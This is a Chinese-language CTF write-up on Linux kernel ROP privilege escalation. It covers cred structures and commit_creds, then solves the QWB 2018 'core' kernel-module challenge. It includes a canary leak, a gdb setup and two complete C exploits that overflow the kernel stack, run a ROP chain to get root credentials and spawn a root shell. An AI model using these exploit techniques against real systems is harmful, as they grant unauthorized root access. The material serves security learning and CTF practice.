Kernel Rop

进程描述符(process descriptor)

在内核中使用结构体 task_struct 表示一个进程,结构体定义于内核源码include/linux/sched.h

task_struct结构体中的权限管理部分

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred:

  • ptracer_cred:使用ptrace系统调用跟踪该进程的上级进程的cred(gdb调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)
  • real_cred:客体凭证objective cred),通常是一个进程最初启动时所具有的权限
  • cred:主体凭证subjective cred),该进程的有效cred,kernel以此作为进程权限的凭证

cred结构体在include/linux/cred.h

/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_t usage; 原子计数器,用于跟踪对该安全上下文结构的引用数量
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */ 任务的实际用户标识
kgid_t gid; /* real GID of the task */ 任务的实际组标识(real group ID)
kuid_t suid; /* saved UID of the task */ 任务的保存用户标识(saved user ID),在权限切换时可能用到。
kgid_t sgid; /* saved GID of the task */ 任务的保存组标识(saved group ID),在权限切换时可能用到。
kuid_t euid; /* effective UID of the task */ 任务的有效用户标识(effective user ID),用于权限检查和访问控制。
kgid_t egid; /* effective GID of the task */ 任务的有效组标识(effective group ID),用于权限检查和访问控制。
kuid_t fsuid; /* UID for VFS ops */ 用于虚拟文件系统(VFS)操作的文件系统用户标识(filesystem user ID)
kgid_t fsgid; /* GID for VFS ops */ 用于虚拟文件系统(VFS)操作的文件系统组标识(filesystem group ID
}

可以直接把uid–>fsgid 都修改为 0获得root权限

或者了利用rop执行commit_creds(prepare_kernel_cred(NULL))获得root权限

自从内核版本 6.2 起,prepare_kernel_cred(NULL)不再拷贝 init_cred,而是将其视为一个运行时错误并返回 NULL,只能commit_creds(&init_cred)

init_credinit 进程的 cred ,因此其权限为root ,泄露出内核基址之后,如果保护开的不牛x,我们也便能够获得 init_cred 的地址

struct cred* prepare_kernel_cred(struct task_struct* daemon)
该函数用以拷贝一个进程daemon的cred结构体,并返回一个新的cred结构体
int commit_creds(struct cred *new)
该函数用以将一个新的cred结构体应用到进程

ROP

主要是在内核栈栈溢出,rop执行特权函数提权后,返回用户态,再起一个shell就可以继承root权限,所以我们返回前要把栈伪造成正常进入内核提权时的栈

image-20230816162903167

保存好用户栈的板子

//-masm=intel
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

内核时返回用户态

  • swapgs指令恢复用户态 GS 寄存器
  • sysretq或者iretq恢复到用户空间

返回用户态前,内核栈板子

↓      提权操作的rop
swapgs
iretq
user_shell_addr
user_cs
user_eflags
user_sp
user_ss

强网杯 2018 - core

链接:https://pan.baidu.com/s/13_X5ZqLYyym2OPithQMeCQ
提取码:w9xj

grxer@Ubuntu22 ~/k/Q/give_to_player> checksec core.ko
[*] '/home/grxer/kernel-env/QWB2018-core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

文件系统

看下init脚本

cat /proc/kallsyms >/tmp/kallsyms #可以泄露commit_creds,prepare_kernel_cred 的函数的地址
echo 1 >/proc/sys/kernel/kptr_restrict#通过cat /proc/kallsyms查看函数地址时都显示0
echo 1 >/proc/sys/kernel/dmesg_restrict#不能用dmesg查看日志

启动脚本

只开启了kaslr

core.ko

创建了个虚拟文件节点来和内核通信

struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);函数可以快速创建一个文件节点

  • name:文件名
  • mode:文件读写执行权限
  • parent:该文件挂载的procfs节点,若为NULL则自动挂载到/proc目录下
  • proc_ops:该文件的proc_ops结构体

remove_proc_entry(const char *, struct proc_dir_entry *)用以注销此前创建的文件

  • 第一个参数为文件名
  • 第二个参数为其挂载的节点,若为NULL则默认为/proc目录

这里的结构体甚至函数,不同内核版本可能会不一样,最好还是去当前内核版本源码里看一下 https://elixir.bootlin.com/linux/v4.15.8/source/include/linux/fs.h#L1692

struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
int (*clone_file_range)(struct file *, loff_t, struct file *, loff_t,
u64);
ssize_t (*dedupe_file_range)(struct file *, u64, u64, struct file *,
u64);
} __randomize_layout;

题目里重构了下write,unlocked_ioctl,release分别对用用户态的write,ioctl,close函数

ioctl函数里的case 0x6677889A,存在溢出问题

__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;

判断a1 > 63时用的是__int64,qmemcpy(v2, &name, (unsigned __int16)a1);时用的是unsigned __int16,用一个低16bit较大的负数,如(0xffffffffffff0000|(0x100))可以实现内核栈溢出

这里name可以通过write控制

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 4294967282LL;
}

现在rop只需要canary和commit_creds(prepare_kernel_cred(NULL))函数地址

core_read中的off可以通过case 0x6677889C控制,可以把canary读到我们用户态得变量里,泄露canary,函数地址可以通过/tmp/kallsyms来泄露

unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

由于只开了kaslr,这道题方法还是蛮多的

从这道题来看,感觉内核态canary感觉按照rsp算比较准,rsp+0x40的位置

image-20230816144106041

调试

关掉kaslr调试

#!/bin/sh
sudo gdb -q \
-ex "file vmlinux"\
-ex "add-symbol-file core.ko 0xffffffffc0000000 -s .data 0xffffffffc0002000 -s .bss 0xffffffffc0002400"\
-ex "target remote localhost:1234"\
-ex "b *(0x159+0xffffffffc0000000)"
# -ex "b core_ioctl"

commit_creds(&init_cred)

#include <assert.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
/*>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/grxer/kernel-env/QWB2018-core/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['init_cred'])
'0xFFFFFFFF8223D1A0'*/
size_t init_cred = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0, bias;
size_t raw_base = 0xffffffff81000000;
size_t find_symbols() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred)
break;
if (strstr(buf, "commit_creds") && !commit_creds) {
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%zx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%zx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
assert(vmlinux_base == (prepare_kernel_cred - 0x9cce0));
}
}
bias = vmlinux_base - raw_base;
if (!(prepare_kernel_cred & commit_creds)) {
puts("[*]Error!");
exit(0);
}
return 0;
}
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*]spawn shell error!");
}
exit(0);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}
int main() {
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
init_cred = 0xFFFFFFFF8223D1A0 +bias;
ioctl(fd, 0x6677889C, 0x40);
size_t canary[0x40] = {0};
ioctl(fd, 0x6677889B, canary);
printf("[+]canary: %p\n", canary[0]);
size_t rop[0x1000] = {0};
int i;
for (i = 0; i < 10; i++) {
rop[i] = canary[0];
}
/*
0xffffffff81000b2f: pop rdi; ret;
0xffffffff81a012da: swapgs; popfq; ret;
0xffffffff81050ac2: iretq; ret;
*/
save_status();
rop[i++] = 0xffffffff81000b2f + bias; // pop rdi; ret;
rop[i++] = init_cred;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + bias; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2+bias; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
return 0;
}

image-20230816162343753

image-20230816161321011

commit_creds(prepare_kernel_cred(NULL))

#include <assert.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
/*>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/grxer/kernel-env/QWB2018-core/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['init_cred'])
'0xFFFFFFFF8223D1A0'*/
size_t init_cred = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0, bias;
size_t raw_base = 0xffffffff81000000;
size_t find_symbols() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred)
break;
if (strstr(buf, "commit_creds") && !commit_creds) {
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%zx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%zx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
assert(vmlinux_base == (prepare_kernel_cred - 0x9cce0));
}
}
bias = vmlinux_base - raw_base;
if (!(prepare_kernel_cred & commit_creds)) {
puts("[*]Error!");
exit(0);
}
return 0;
}
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*]spawn shell error!");
}
exit(0);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}
int main() {
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
init_cred = 0xFFFFFFFF8223D1A0 +bias;
ioctl(fd, 0x6677889C, 0x40);
size_t canary[0x40] = {0};
ioctl(fd, 0x6677889B, canary);
printf("[+]canary: %p\n", canary[0]);
size_t rop[0x1000] = {0};
int i;
for (i = 0; i < 10; i++) {
rop[i] = canary[0];
}
/*
0xffffffff81000b2f: pop rdi; ret;
0xffffffff81a012da: swapgs; popfq; ret;
0xffffffff8106a6d2: mov rdi, rax; jmp rdx;
0xffffffff81050ac2: iretq; ret;
*/
save_status();
rop[i++] = 0xffffffff81000b2f + bias; // pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + bias; // pop rdx; ret
rop[i++] = commit_creds;
rop[i++] = 0xffffffff8106a6d2 + bias;//mov rdi, rax; jmp rdx;
rop[i++] = 0xffffffff81a012da + bias; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2+bias; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
return 0;
}

image-20230816174130879